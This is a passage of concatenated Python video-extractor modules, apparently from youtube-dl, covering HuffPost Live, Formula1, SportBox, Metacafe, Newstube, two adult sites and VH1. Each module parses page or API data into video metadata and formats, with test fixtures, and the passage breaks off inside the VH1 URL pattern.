            'skip_download': True,
        },
        'expected_warnings': ['HTTP Error 404: Not Found'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        api_url = 'http://embed.live.huffingtonpost.com/api/segments/%s.json' % video_id
        data = self._download_json(api_url, video_id)['data']

        video_title = data['title']
        duration = parse_duration(data.get('running_time'))
        upload_date = unified_strdate(
            data.get('schedule', {}).get('starts_at') or data.get('segment_start_date_time'))
        description = data.get('description')

        thumbnails = []
        for url in filter(None, data['images'].values()):
            m = re.match('.*-([0-9]+x[0-9]+)\.', url)
            if not m:
                continue
            thumbnails.append({
                'url': url,
                'resolution': m.group(1),
            })

        formats = []
        sources = data.get('sources', {})
        live_sources = list(sources.get('live', {}).items()) + list(sources.get('live_again', {}).items())
        for key, url in live_sources:
            ext = determine_ext(url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    url, video_id, ext='mp4', m3u8_id='hls', fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    url + '?hdcore=2.9.5', video_id, f4m_id='hds', fatal=False))
            else:
                formats.append({
                    'format': key,
                    'format_id': key.replace('/', '.'),
                    'ext': 'mp4',
                    'url': url,
                    'vcodec': 'none' if key.startswith('audio/') else None,
                })

        if not formats and data.get('fivemin_id'):
            return self.url_result('5min:%s' % data['fivemin_id'])

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_title,
            'description': description,
            'formats': formats,
            'duration': duration,
            'upload_date': upload_date,
            'thumbnails': thumbnails,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class Formula1IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?formula1\.com/(?:content/fom-website/)?en/video/\d{4}/\d{1,2}/(?P<id>.+?)\.html'
    _TESTS = [{
        'url': 'http://www.formula1.com/content/fom-website/en/video/2016/5/Race_highlights_-_Spain_2016.html',
        'md5': '8c79e54be72078b26b89e0e111c0502b',
        'info_dict': {
            'id': 'JvYXJpMzE6pArfHWm5ARp5AiUmD-gibV',
            'ext': 'flv',
            'title': 'Race highlights - Spain 2016',
        },
        'add_ie': ['Ooyala'],
    }, {
        'url': 'http://www.formula1.com/en/video/2016/5/Race_highlights_-_Spain_2016.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        ooyala_embed_code = self._search_regex(
            r'data-videoid="([^"]+)"', webpage, 'ooyala embed code')
        return self.url_result(
            'ooyala:%s' % ooyala_embed_code, 'Ooyala', ooyala_embed_code)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    js_to_json,
    unified_strdate,
)


class SportBoxIE(InfoExtractor):
    _VALID_URL = r'https?://news\.sportbox\.ru/(?:[^/]+/)+spbvideo_NI\d+_(?P<display_id>.+)'
    _TESTS = [{
        'url': 'http://news.sportbox.ru/Vidy_sporta/Avtosport/Rossijskij/spbvideo_NI483529_Gonka-2-zaezd-Obyedinenniy-2000-klassi-Turing-i-S',
        'md5': 'ff56a598c2cf411a9a38a69709e97079',
        'info_dict': {
            'id': '80822',
            'ext': 'mp4',
            'title': 'Гонка 2  заезд ««Объединенный 2000»: классы Туринг и Супер-продакшн',
            'description': 'md5:3d72dc4a006ab6805d82f037fdc637ad',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20140928',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://news.sportbox.ru/Vidy_sporta/billiard/spbvideo_NI486287_CHempionat-mira-po-dinamichnoy-piramide-4',
        'only_matching': True,
    }, {
        'url': 'http://news.sportbox.ru/video/no_ads/spbvideo_NI536574_V_Novorossijske_proshel_detskij_turnir_Pole_slavy_bojevoj?ci=211355',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        player = self._search_regex(
            r'src="/?(vdl/player/[^"]+)"', webpage, 'player')

        title = self._html_search_regex(
            [r'"nodetitle"\s*:\s*"([^"]+)"', r'class="node-header_{1,2}title">([^<]+)'],
            webpage, 'title')
        description = self._og_search_description(webpage) or self._html_search_meta(
            'description', webpage, 'description')
        thumbnail = self._og_search_thumbnail(webpage)
        upload_date = unified_strdate(self._html_search_meta(
            'dateCreated', webpage, 'upload date'))

        return {
            '_type': 'url_transparent',
            'url': compat_urlparse.urljoin(url, '/%s' % player),
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
        }


class SportBoxEmbedIE(InfoExtractor):
    _VALID_URL = r'https?://news\.sportbox\.ru/vdl/player(?:/[^/]+/|\?.*?\bn?id=)(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://news.sportbox.ru/vdl/player/ci/211355',
        'info_dict': {
            'id': '211355',
            'ext': 'mp4',
            'title': 'В Новороссийске прошел детский турнир «Поле славы боевой»',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://news.sportbox.ru/vdl/player?nid=370908&only_player=1&autostart=false&playeri=2&height=340&width=580',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_urls(webpage):
        return re.findall(
            r'<iframe[^>]+src="(https?://news\.sportbox\.ru/vdl/player[^"]+)"',
            webpage)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        formats = []

        def cleanup_js(code):
            # desktop_advert_config contains complex Javascripts and we don't need it
            return js_to_json(re.sub(r'desktop_advert_config.*', '', code))

        jwplayer_data = self._parse_json(self._search_regex(
            r'(?s)player\.setup\(({.+?})\);', webpage, 'jwplayer settings'), video_id,
            transform_source=cleanup_js)

        hls_url = jwplayer_data.get('hls_url')
        if hls_url:
            formats.extend(self._extract_m3u8_formats(
                hls_url, video_id, ext='mp4', m3u8_id='hls'))

        rtsp_url = jwplayer_data.get('rtsp_url')
        if rtsp_url:
            formats.append({
                'url': rtsp_url,
                'format_id': 'rtsp',
            })

        self._sort_formats(formats)

        title = jwplayer_data['node_title']
        thumbnail = jwplayer_data.get('image_url')

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_urllib_parse_unquote,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    urlencode_postdata,
    get_element_by_attribute,
    mimetype2ext,
)


class MetacafeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?metacafe\.com/watch/(?P<video_id>[^/]+)/(?P<display_id>[^/?#]+)'
    _DISCLAIMER = 'http://www.metacafe.com/family_filter/'
    _FILTER_POST = 'http://www.metacafe.com/f/index.php?inputType=filter&controllerGroup=user'
    IE_NAME = 'metacafe'
    _TESTS = [
        # Youtube video
        {
            'add_ie': ['Youtube'],
            'url': 'http://metacafe.com/watch/yt-_aUehQsCQtM/the_electric_company_short_i_pbs_kids_go/',
            'info_dict': {
                'id': '_aUehQsCQtM',
                'ext': 'mp4',
                'upload_date': '20090102',
                'title': 'The Electric Company | "Short I" | PBS KIDS GO!',
                'description': 'md5:2439a8ef6d5a70e380c22f5ad323e5a8',
                'uploader': 'PBS',
                'uploader_id': 'PBS'
            }
        },
        # Normal metacafe video
        {
            'url': 'http://www.metacafe.com/watch/11121940/news_stuff_you_wont_do_with_your_playstation_4/',
            'md5': '6e0bca200eaad2552e6915ed6fd4d9ad',
            'info_dict': {
                'id': '11121940',
                'ext': 'mp4',
                'title': 'News: Stuff You Won\'t Do with Your PlayStation 4',
                'uploader': 'ign',
                'description': 'Sony released a massive FAQ on the PlayStation Blog detailing the PS4\'s capabilities and limitations.',
            },
            'skip': 'Page is temporarily unavailable.',
        },
        # AnyClip video
        {
            'url': 'http://www.metacafe.com/watch/an-dVVXnuY7Jh77J/the_andromeda_strain_1971_stop_the_bomb_part_3/',
            'info_dict': {
                'id': 'an-dVVXnuY7Jh77J',
                'ext': 'mp4',
                'title': 'The Andromeda Strain (1971): Stop the Bomb Part 3',
                'uploader': 'AnyClip',
                'description': 'md5:cbef0460d31e3807f6feb4e7a5952e5b',
            },
        },
        # age-restricted video
        {
            'url': 'http://www.metacafe.com/watch/5186653/bbc_internal_christmas_tape_79_uncensored_outtakes_etc/',
            'md5': '98dde7c1a35d02178e8ab7560fe8bd09',
            'info_dict': {
                'id': '5186653',
                'ext': 'mp4',
                'title': 'BBC INTERNAL Christmas Tape \'79 - UNCENSORED Outtakes, Etc.',
                'uploader': 'Dwayne Pipe',
                'description': 'md5:950bf4c581e2c059911fa3ffbe377e4b',
                'age_limit': 18,
            },
        },
        # cbs video
        {
            'url': 'http://www.metacafe.com/watch/cb-8VD4r_Zws8VP/open_this_is_face_the_nation_february_9/',
            'info_dict': {
                'id': '8VD4r_Zws8VP',
                'ext': 'flv',
                'title': 'Open: This is Face the Nation, February 9',
                'description': 'md5:8a9ceec26d1f7ed6eab610834cc1a476',
                'duration': 96,
                'uploader': 'CBSI-NEW',
                'upload_date': '20140209',
                'timestamp': 1391959800,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        # Movieclips.com video
        {
            'url': 'http://www.metacafe.com/watch/mv-Wy7ZU/my_week_with_marilyn_do_you_love_me/',
            'info_dict': {
                'id': 'mv-Wy7ZU',
                'ext': 'mp4',
                'title': 'My Week with Marilyn - Do You Love Me?',
                'description': 'From the movie My Week with Marilyn - Colin (Eddie Redmayne) professes his love to Marilyn (Michelle Williams) and gets her to promise to return to set and finish the movie.',
                'uploader': 'movie_trailers',
                'duration': 176,
            },
            'params': {
                'skip_download': 'requires rtmpdump',
            }
        }
    ]

    def report_disclaimer(self):
        self.to_screen('Retrieving disclaimer')

    def _confirm_age(self):
        # Retrieve disclaimer
        self.report_disclaimer()
        self._download_webpage(self._DISCLAIMER, None, False, 'Unable to retrieve disclaimer')

        # Confirm age
        self.report_age_confirmation()
        self._download_webpage(
            self._FILTER_POST, None, False, 'Unable to confirm age',
            data=urlencode_postdata({
                'filters': '0',
                'submit': "Continue - I'm over 18",
            }), headers={
                'Content-Type': 'application/x-www-form-urlencoded',
            })

    def _real_extract(self, url):
        # Extract id and simplified title from URL
        video_id, display_id = re.match(self._VALID_URL, url).groups()

        # the video may come from an external site
        m_external = re.match('^(\w{2})-(.*)$', video_id)
        if m_external is not None:
            prefix, ext_id = m_external.groups()
            # Check if video comes from YouTube
            if prefix == 'yt':
                return self.url_result('http://www.youtube.com/watch?v=%s' % ext_id, 'Youtube')
            # CBS videos use theplatform.com
            if prefix == 'cb':
                return self.url_result('theplatform:%s' % ext_id, 'ThePlatform')

        # self._confirm_age()

        # AnyClip videos require the flashversion cookie so that we get the link
        # to the mp4 file
        headers = {}
        if video_id.startswith('an-'):
            headers['Cookie'] = 'flashVersion=0;'

        # Retrieve video webpage to extract further information
        webpage = self._download_webpage(url, video_id, headers=headers)

        error = get_element_by_attribute(
            'class', 'notfound-page-title', webpage)
        if error:
            raise ExtractorError(error, expected=True)

        video_title = self._html_search_meta(
            ['og:title', 'twitter:title'], webpage, 'title', default=None) or self._search_regex(r'<h1>(.*?)</h1>', webpage, 'title')

        # Extract URL, uploader and title from webpage
        self.report_extraction(video_id)
        video_url = None
        mobj = re.search(r'(?m)&(?:media|video)URL=([^&]+)', webpage)
        if mobj is not None:
            mediaURL = compat_urllib_parse_unquote(mobj.group(1))
            video_ext = determine_ext(mediaURL)

            # Extract gdaKey if available
            mobj = re.search(r'(?m)&gdaKey=(.*?)&', webpage)
            if mobj is None:
                video_url = mediaURL
            else:
                gdaKey = mobj.group(1)
                video_url = '%s?__gda__=%s' % (mediaURL, gdaKey)
        if video_url is None:
            mobj = re.search(r'<video src="([^"]+)"', webpage)
            if mobj:
                video_url = mobj.group(1)
                video_ext = 'mp4'
        if video_url is None:
            flashvars = self._search_regex(
                r' name="flashvars" value="(.*?)"', webpage, 'flashvars',
                default=None)
            if flashvars:
                vardict = compat_parse_qs(flashvars)
                if 'mediaData' not in vardict:
                    raise ExtractorError('Unable to extract media URL')
                mobj = re.search(
                    r'"mediaURL":"(?P<mediaURL>http.*?)",(.*?)"key":"(?P<key>.*?)"', vardict['mediaData'][0])
                if mobj is None:
                    raise ExtractorError('Unable to extract media URL')
                mediaURL = mobj.group('mediaURL').replace('\\/', '/')
                video_url = '%s?__gda__=%s' % (mediaURL, mobj.group('key'))
                video_ext = determine_ext(video_url)
        if video_url is None:
            player_url = self._search_regex(
                r"swfobject\.embedSWF\('([^']+)'",
                webpage, 'config URL', default=None)
            if player_url:
                config_url = self._search_regex(
                    r'config=(.+)$', player_url, 'config URL')
                config_doc = self._download_xml(
                    config_url, video_id,
                    note='Downloading video config')
                smil_url = config_doc.find('.//properties').attrib['smil_file']
                smil_doc = self._download_xml(
                    smil_url, video_id,
                    note='Downloading SMIL document')
                base_url = smil_doc.find('./head/meta').attrib['base']
                video_url = []
                for vn in smil_doc.findall('.//video'):
                    br = int(vn.attrib['system-bitrate'])
                    play_path = vn.attrib['src']
                    video_url.append({
                        'format_id': 'smil-%d' % br,
                        'url': base_url,
                        'play_path': play_path,
                        'page_url': url,
                        'player_url': player_url,
                        'ext': play_path.partition(':')[0],
                    })
        if video_url is None:
            flashvars = self._parse_json(self._search_regex(
                r'flashvars\s*=\s*({.*});', webpage, 'flashvars',
                default=None), video_id, fatal=False)
            if flashvars:
                video_url = []
                for source in flashvars.get('sources'):
                    source_url = source.get('src')
                    if not source_url:
                        continue
                    ext = mimetype2ext(source.get('type')) or determine_ext(source_url)
                    if ext == 'm3u8':
                        video_url.extend(self._extract_m3u8_formats(
                            source_url, video_id, 'mp4',
                            'm3u8_native', m3u8_id='hls', fatal=False))
                    else:
                        video_url.append({
                            'url': source_url,
                            'ext': ext,
                        })

        if video_url is None:
            raise ExtractorError('Unsupported video type')

        description = self._html_search_meta(
            ['og:description', 'twitter:description', 'description'],
            webpage, 'title', fatal=False)
        thumbnail = self._html_search_meta(
            ['og:image', 'twitter:image'], webpage, 'title', fatal=False)
        video_uploader = self._html_search_regex(
            r'submitter=(.*?);|googletag\.pubads\(\)\.setTargeting\("(?:channel|submiter)","([^"]+)"\);',
            webpage, 'uploader nickname', fatal=False)
        duration = int_or_none(
            self._html_search_meta('video:duration', webpage, default=None))
        age_limit = (
            18
            if re.search(r'(?:"contentRating":|"rating",)"restricted"', webpage)
            else 0)

        if isinstance(video_url, list):
            formats = video_url
        else:
            formats = [{
                'url': video_url,
                'ext': video_ext,
            }]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'description': description,
            'uploader': video_uploader,
            'title': video_title,
            'thumbnail': thumbnail,
            'age_limit': age_limit,
            'formats': formats,
            'duration': duration,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
)


class NewstubeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?newstube\.ru/media/(?P<id>.+)'
    _TEST = {
        'url': 'http://www.newstube.ru/media/telekanal-cnn-peremestil-gorod-slavyansk-v-krym',
        'md5': '801eef0c2a9f4089fa04e4fe3533abdc',
        'info_dict': {
            'id': '728e0ef2-e187-4012-bac0-5a081fdcb1f6',
            'ext': 'mp4',
            'title': 'Телеканал CNN переместил город Славянск в Крым',
            'description': 'md5:419a8c9f03442bc0b0a794d689360335',
            'duration': 31.05,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        page = self._download_webpage(url, video_id, 'Downloading page')

        video_guid = self._html_search_regex(
            r'<meta property="og:video:url" content="https?://(?:www\.)?newstube\.ru/freshplayer\.swf\?guid=(?P<guid>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})',
            page, 'video GUID')

        player = self._download_xml(
            'http://p.newstube.ru/v2/player.asmx/GetAutoPlayInfo6?state=&url=%s&sessionId=&id=%s&placement=profile&location=n2' % (url, video_guid),
            video_guid, 'Downloading player XML')

        def ns(s):
            return s.replace('/', '/%(ns)s') % {'ns': '{http://app1.newstube.ru/N2SiteWS/player.asmx}'}

        error_message = player.find(ns('./ErrorMessage'))
        if error_message is not None:
            raise ExtractorError('%s returned error: %s' % (self.IE_NAME, error_message.text), expected=True)

        session_id = player.find(ns('./SessionId')).text
        media_info = player.find(ns('./Medias/MediaInfo'))
        title = media_info.find(ns('./Name')).text
        description = self._og_search_description(page)
        thumbnail = media_info.find(ns('./KeyFrame')).text
        duration = int(media_info.find(ns('./Duration')).text) / 1000.0

        formats = []

        for stream_info in media_info.findall(ns('./Streams/StreamInfo')):
            media_location = stream_info.find(ns('./MediaLocation'))
            if media_location is None:
                continue

            server = media_location.find(ns('./Server')).text
            app = media_location.find(ns('./App')).text
            media_id = stream_info.find(ns('./Id')).text
            name = stream_info.find(ns('./Name')).text
            width = int(stream_info.find(ns('./Width')).text)
            height = int(stream_info.find(ns('./Height')).text)

            formats.append({
                'url': 'rtmp://%s/%s' % (server, app),
                'app': app,
                'play_path': '01/%s' % video_guid.upper(),
                'rtmp_conn': ['S:%s' % session_id, 'S:%s' % media_id, 'S:n2'],
                'page_url': url,
                'ext': 'flv',
                'format_id': 'rtmp' + ('-%s' % name if name else ''),
                'width': width,
                'height': height,
            })

        sources_data = self._download_json(
            'http://www.newstube.ru/player2/getsources?guid=%s' % video_guid,
            video_guid, fatal=False)
        if sources_data:
            for source in sources_data.get('Sources', []):
                source_url = source.get('Src')
                if not source_url:
                    continue
                height = int_or_none(source.get('Height'))
                f = {
                    'format_id': 'http' + ('-%dp' % height if height else ''),
                    'url': source_url,
                    'width': int_or_none(source.get('Width')),
                    'height': height,
                }
                source_type = source.get('Type')
                if source_type:
                    mobj = re.search(r'codecs="([^,]+),\s*([^"]+)"', source_type)
                    if mobj:
                        vcodec, acodec = mobj.groups()
                        f.update({
                            'vcodec': vcodec,
                            'acodec': acodec,
                        })
                formats.append(f)

        self._check_formats(formats, video_guid)
        self._sort_formats(formats)

        return {
            'id': video_guid,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    int_or_none,
)


class XXXYMoviesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?xxxymovies\.com/videos/(?P<id>\d+)/(?P<display_id>[^/]+)'
    _TEST = {
        'url': 'http://xxxymovies.com/videos/138669/ecstatic-orgasm-sofcore/',
        'md5': '810b1bdbbffff89dd13bdb369fe7be4b',
        'info_dict': {
            'id': '138669',
            'display_id': 'ecstatic-orgasm-sofcore',
            'ext': 'mp4',
            'title': 'Ecstatic Orgasm Sofcore',
            'duration': 931,
            'categories': list,
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        video_url = self._search_regex(
            r"video_url\s*:\s*'([^']+)'", webpage, 'video URL')

        title = self._html_search_regex(
            [r'<div class="block_header">\s*<h1>([^<]+)</h1>',
             r'<title>(.*?)\s*-\s*XXXYMovies\.com</title>'],
            webpage, 'title')

        thumbnail = self._search_regex(
            r"preview_url\s*:\s*'([^']+)'",
            webpage, 'thumbnail', fatal=False)

        categories = self._html_search_meta(
            'keywords', webpage, 'categories', default='').split(',')

        duration = parse_duration(self._search_regex(
            r'<span>Duration:</span>\s*(\d+:\d+)',
            webpage, 'duration', fatal=False))

        view_count = int_or_none(self._html_search_regex(
            r'<div class="video_views">\s*(\d+)',
            webpage, 'view count', fatal=False))
        like_count = int_or_none(self._search_regex(
            r'>\s*Likes? <b>\((\d+)\)',
            webpage, 'like count', fatal=False))
        dislike_count = int_or_none(self._search_regex(
            r'>\s*Dislike <b>\((\d+)\)</b>',
            webpage, 'dislike count', fatal=False))

        age_limit = self._rta_search(webpage)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'thumbnail': thumbnail,
            'categories': categories,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'age_limit': age_limit,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    unified_strdate,
    parse_duration,
    int_or_none,
)


class WatchIndianPornIE(InfoExtractor):
    IE_DESC = 'Watch Indian Porn'
    _VALID_URL = r'https?://(?:www\.)?watchindianporn\.net/(?:[^/]+/)*video/(?P<display_id>[^/]+)-(?P<id>[a-zA-Z0-9]+)\.html'
    _TEST = {
        'url': 'http://www.watchindianporn.net/video/hot-milf-from-kerala-shows-off-her-gorgeous-large-breasts-on-camera-RZa2avywNPa.html',
        'md5': '249589a164dde236ec65832bfce17440',
        'info_dict': {
            'id': 'RZa2avywNPa',
            'display_id': 'hot-milf-from-kerala-shows-off-her-gorgeous-large-breasts-on-camera',
            'ext': 'mp4',
            'title': 'Hot milf from kerala shows off her gorgeous large breasts on camera',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'LoveJay',
            'upload_date': '20160428',
            'duration': 226,
            'view_count': int,
            'comment_count': int,
            'categories': list,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        video_url = self._html_search_regex(
            r"url: escape\('([^']+)'\)", webpage, 'url')

        title = self._html_search_regex(
            r'<h2 class="he2"><span>(.*?)</span>',
            webpage, 'title')
        thumbnail = self._html_search_regex(
            r'<span id="container"><img\s+src="([^"]+)"',
            webpage, 'thumbnail', fatal=False)

        uploader = self._html_search_regex(
            r'class="aupa">\s*(.*?)</a>',
            webpage, 'uploader')
        upload_date = unified_strdate(self._html_search_regex(
            r'Added: <strong>(.+?)</strong>', webpage, 'upload date', fatal=False))

        duration = parse_duration(self._search_regex(
            r'<td>Time:\s*</td>\s*<td align="right"><span>\s*(.+?)\s*</span>',
            webpage, 'duration', fatal=False))

        view_count = int_or_none(self._search_regex(
            r'<td>Views:\s*</td>\s*<td align="right"><span>\s*(\d+)\s*</span>',
            webpage, 'view count', fatal=False))
        comment_count = int_or_none(self._search_regex(
            r'<td>Comments:\s*</td>\s*<td align="right"><span>\s*(\d+)\s*</span>',
            webpage, 'comment count', fatal=False))

        categories = re.findall(
            r'<a href="[^"]+/search/video/desi"><span>([^<]+)</span></a>',
            webpage)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'http_headers': {
                'Referer': url,
            },
            'title': title,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'upload_date': upload_date,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count,
            'categories': categories,
            'age_limit': 18,
        }






from __future__ import unicode_literals

from .mtv import MTVIE

import re
from ..utils import fix_xml_ampersands


class VH1IE(MTVIE):
    IE_NAME = 'vh1.com'
    _FEED_URL = 'http://www.vh1.com/player/embed/AS3/fullepisode/rss/'
    _TESTS = [{
        'url': 'http://www.vh1.com/video/metal-evolution/full-episodes/progressive-metal/1678612/playlist.jhtml',
        'playlist': [
            {
                'md5': '7827a7505f59633983165bbd2c119b52',
                'info_dict': {
                    'id': '731565',
                    'ext': 'mp4',
                    'title': 'Metal Evolution: Ep. 11 Act 1',
                    'description': 'Many rock academics have proclaimed that the truly progressive musicianship of the last 20 years has been found right here in the world of heavy metal, rather than obvious locales such as jazz, fusion or progressive rock. It stands to reason then, that much of this jaw-dropping virtuosity occurs within what\'s known as progressive metal, a genre that takes root with the likes of Rush in the \'70s, Queensryche and Fates Warning in the \'80s, and Dream Theater in the \'90s. Since then, the genre has exploded with creativity, spawning mind-bending, genre-defying acts such as Tool, Mastodon, Coheed And Cambria, Porcupine Tree, Meshuggah, A Perfect Circle and Opeth. Episode 12 looks at the extreme musicianship of these bands, as well as their often extreme literary prowess and conceptual strength, the end result being a rich level of respect and attention such challenging acts have brought upon the world of heavy metal, from a critical community usually dismissive of the form.'
                }
            },
            {
                'md5': '34fb4b7321c546b54deda2102a61821f',
                'info_dict': {
                    'id': '731567',
                    'ext': 'mp4',
                    'title': 'Metal Evolution: Ep. 11 Act 2',
                    'description': 'Many rock academics have proclaimed that the truly progressive musicianship of the last 20 years has been found right here in the world of heavy metal, rather than obvious locales such as jazz, fusion or progressive rock. It stands to reason then, that much of this jaw-dropping virtuosity occurs within what\'s known as progressive metal, a genre that takes root with the likes of Rush in the \'70s, Queensryche and Fates Warning in the \'80s, and Dream Theater in the \'90s. Since then, the genre has exploded with creativity, spawning mind-bending, genre-defying acts such as Tool, Mastodon, Coheed And Cambria, Porcupine Tree, Meshuggah, A Perfect Circle and Opeth. Episode 11 looks at the extreme musicianship of these bands, as well as their often extreme literary prowess and conceptual strength, the end result being a rich level of respect and attention such challenging acts have brought upon the world of heavy metal, from a critical community usually dismissive of the form.'
                }
            },
            {
                'md5': '813f38dba4c1b8647196135ebbf7e048',
                'info_dict': {
                    'id': '731568',
                    'ext': 'mp4',
                    'title': 'Metal Evolution: Ep. 11 Act 3',
                    'description': 'Many rock academics have proclaimed that the truly progressive musicianship of the last 20 years has been found right here in the world of heavy metal, rather than obvious locales such as jazz, fusion or progressive rock. It stands to reason then, that much of this jaw-dropping virtuosity occurs within what\'s known as progressive metal, a genre that takes root with the likes of Rush in the \'70s, Queensryche and Fates Warning in the \'80s, and Dream Theater in the \'90s. Since then, the genre has exploded with creativity, spawning mind-bending, genre-defying acts such as Tool, Mastodon, Coheed And Cambria, Porcupine Tree, Meshuggah, A Perfect Circle and Opeth. Episode 11 looks at the extreme musicianship of these bands, as well as their often extreme literary prowess and conceptual strength, the end result being a rich level of respect and attention such challenging acts have brought upon the world of heavy metal, from a critical community usually dismissive of the form.'
                }
            },
            {
                'md5': '51adb72439dfaed11c799115d76e497f',
                'info_dict': {
                    'id': '731569',
                    'ext': 'mp4',
                    'title': 'Metal Evolution: Ep. 11 Act 4',
                    'description': 'Many rock academics have proclaimed that the truly progressive musicianship of the last 20 years has been found right here in the world of heavy metal, rather than obvious locales such as jazz, fusion or progressive rock. It stands to reason then, that much of this jaw-dropping virtuosity occurs within what\'s known as progressive metal, a genre that takes root with the likes of Rush in the \'70s, Queensryche and Fates Warning in the \'80s, and Dream Theater in the \'90s. Since then, the genre has exploded with creativity, spawning mind-bending, genre-defying acts such as Tool, Mastodon, Coheed And Cambria, Porcupine Tree, Meshuggah, A Perfect Circle and Opeth. Episode 11 looks at the extreme musicianship of these bands, as well as their often extreme literary prowess and conceptual strength, the end result being a rich level of respect and attention such challenging acts have brought upon the world of heavy metal, from a critical community usually dismissive of the form.'
                }
            },
            {
                'md5': '93d554aaf79320703b73a95288c76a6e',
                'info_dict': {
                    'id': '731570',
                    'ext': 'mp4',
                    'title': 'Metal Evolution: Ep. 11 Act 5',
                    'description': 'Many rock academics have proclaimed that the truly progressive musicianship of the last 20 years has been found right here in the world of heavy metal, rather than obvious locales such as jazz, fusion or progressive rock. It stands to reason then, that much of this jaw-dropping virtuosity occurs within what\'s known as progressive metal, a genre that takes root with the likes of Rush in the \'70s, Queensryche and Fates Warning in the \'80s, and Dream Theater in the \'90s. Since then, the genre has exploded with creativity, spawning mind-bending, genre-defying acts such as Tool, Mastodon, Coheed And Cambria, Porcupine Tree, Meshuggah, A Perfect Circle and Opeth. Episode 11 looks at the extreme musicianship of these bands, as well as their often extreme literary prowess and conceptual strength, the end result being a rich level of respect and attention such challenging acts have brought upon the world of heavy metal, from a critical community usually dismissive of the form.'
                }
            }
        ],
        'skip': 'Blocked outside the US',
    }, {
        # Clip
        'url': 'http://www.vh1.com/video/misc/706675/metal-evolution-episode-1-pre-metal-show-clip.jhtml#id=1674118',
        'md5': '7d67cf6d9cdc6b4f3d3ac97a55403844',
        'info_dict': {
            'id': '706675',
            'ext': 'mp4',
            'title': 'Metal Evolution: Episode 1 Pre-Metal Show Clip',
            'description': 'The greatest documentary ever made about Heavy Metal begins as our host Sam Dunn travels the globe to seek out the origins and influences that helped create Heavy Metal. Sam speaks to legends like Kirk Hammett, Alice Cooper, Slash, Bill Ward, Geezer Butler, Tom Morello, Ace Frehley, Lemmy Kilmister, Dave Davies, and many many more. This episode is the prologue for the 11 hour series, and Sam goes back to the very beginning to reveal how Heavy Metal was created.'
        },
        'skip': 'Blocked outside the US',
    }, {
        # Short link
        'url': 'http://www.vh1.com/video/play.jhtml?id=1678353',
        'md5': '853192b87ad978732b67dd8e549b266a',
        'info_dict': {
            'id': '730355',
            'ext': 'mp4',
            'title': 'Metal Evolution: Episode 11 Progressive Metal Sneak',
            'description': 'In Metal Evolution\'s finale sneak, Sam sits with Michael Giles of King Crimson and gets feedback from Metallica guitarist Kirk Hammett on why the group was influential.'
        },
        'skip': 'Blocked outside the US',
    }, {
        'url': 'http://www.vh1.com/video/macklemore-ryan-lewis/900535/cant-hold-us-ft-ray-dalton.jhtml',
        'md5': 'b1bcb5b4380c9d7f544065589432dee7',
        'info_dict': {
            'id': '900535',
            'ext': 'mp4',
            'title': 'Macklemore & Ryan Lewis - "Can\'t Hold Us ft. Ray Dalton"',
            'description': 'The Heist'
        },
        'skip': 'Blocked outside the US',
    }]

    _VALID_URL = r'''(?x)
        https?://www\.vh1\.com/video/
        (?:
            .+?/full-episodes/.+?/(?P<playlist_id>[^/]+)/playlist\.jhtml
        |
            (?:
            play.jhtml\?id=|
            misc/.+?/.+?\.jhtml\#id=
            )
            (?P<video_id>[0-9]+)$
        |
